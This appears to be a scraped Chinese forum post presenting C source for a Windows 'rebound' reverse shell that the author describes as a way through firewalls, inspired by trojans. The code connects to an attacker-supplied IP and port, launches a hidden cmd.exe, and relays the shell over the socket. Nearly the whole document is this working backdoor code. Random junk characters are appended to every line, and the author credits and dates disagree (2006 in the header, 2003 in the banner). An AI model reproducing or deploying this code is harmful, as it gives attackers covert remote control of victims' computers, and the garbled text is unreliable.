这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 `L[32B9
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/* ============================== .VEfd4+ni{
Rebound port in Windows NT e4H0<h
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By wind,2006/7 e%0#"6}
===============================*/ OZ0%;Y0
#include Olh%"=*;
#include wQuaB6E
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#pragma comment(lib,"wsock32.lib") Ri6 br
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void OutputShell(); 5%aKlx9^#
SOCKET sClient; jqsktJw#i
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; @.@#WHde
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void main(int argc,char **argv) 2u H\8A+'f
{ [_G0kiI}W"
WSADATA stWsaData; VP[!ji9P
int nRet; )w?$~q
SOCKADDR_IN stSaiClient,stSaiServer; im[gbac
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if(argc != 3) %=O!K>^vt<
{ 4^}PnU7z
printf("Useage:\n\rRebound DestIP DestPort\n"); }`FC__
return; 'xI+kyu
} c Yn}we}7
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WSAStartup(MAKEWORD(2,2),&stWsaData); &r%^wfp
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); <).qe Z
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stSaiClient.sin_family = AF_INET; WWD@rn sVf
stSaiClient.sin_port = htons(0); G.ARu-2's
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 'wq:F?viF
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) eV+wnE?SB5
{ Tka="eyIj3
printf("Bind Socket Failed!\n"); mBkQ
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return; |Qm%G\oB?
} 0]0M>vx
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stSaiServer.sin_family = AF_INET; .Tqvy)'
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); wTbIS~!gF
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); VOOThdR
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) !)3Su=*R
{ ):EXh #
printf("Connect Error!"); PH &ms
return; $^ dk>Hj>4
} JT ^0AZ_*
OutputShell(); rX}==`#\
} 1Nu`@)D0
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void OutputShell() *n?:)(
{ 6T_c#G5
char szBuff[1024]; iL'
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SECURITY_ATTRIBUTES stSecurityAttributes; leJd){
OSVERSIONINFO stOsversionInfo; HD|)D5wH|
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; _JO @O^Ndd
STARTUPINFO stStartupInfo; X1D:{S[
char *szShell; X_8NW,
PROCESS_INFORMATION stProcessInformation; <"% h1{V
unsigned long lBytesRead; %4K#<b"W
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); j".6
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); [kkcV5I-
stSecurityAttributes.lpSecurityDescriptor = 0; n}kz&,
stSecurityAttributes.bInheritHandle = TRUE; M<pgaB0
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); qiJ{X{lI
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); DdBrJ x
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); q2i~<;Z)9
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ..mz!:Zs0
stStartupInfo.wShowWindow = SW_HIDE; _J;a[Ky+[
stStartupInfo.hStdInput = hReadPipe; - & r{%7
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 9DE)5/c`v
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GetVersionEx(&stOsversionInfo); +c_CYkHJ/
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switch(stOsversionInfo.dwPlatformId) xWV7#Z7
{ G<1mj!{Vp
case 1: >(a_9l;q
szShell = "command.com"; 9oz)E>K4f
break; K#m o+n5-;
default: nK=V`
szShell = "cmd.exe"; 8#B;nyGD1I
break; H@2+wr)$}
} 1D]wW%us
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ?&_\$L[
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send(sClient,szMsg,77,0); 0q!{&pt
while(1) o 4wKu
{ j
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PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); syvi/6
if(lBytesRead) {4*%\?c,n
{ \zyGJyy.
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 9Ua@-
send(sClient,szBuff,lBytesRead,0); /% 1lJD
} 1t'\!
else "rJL ^ \r
{ 4ebGAg ?_
lBytesRead=recv(sClient,szBuff,1024,0); xy>mM"DOH
if(lBytesRead<=0) break; *%sYajmD
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); sBL^NDqa2
} ,_O[;L
} +[+Jd)Z
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return; [%:NR
}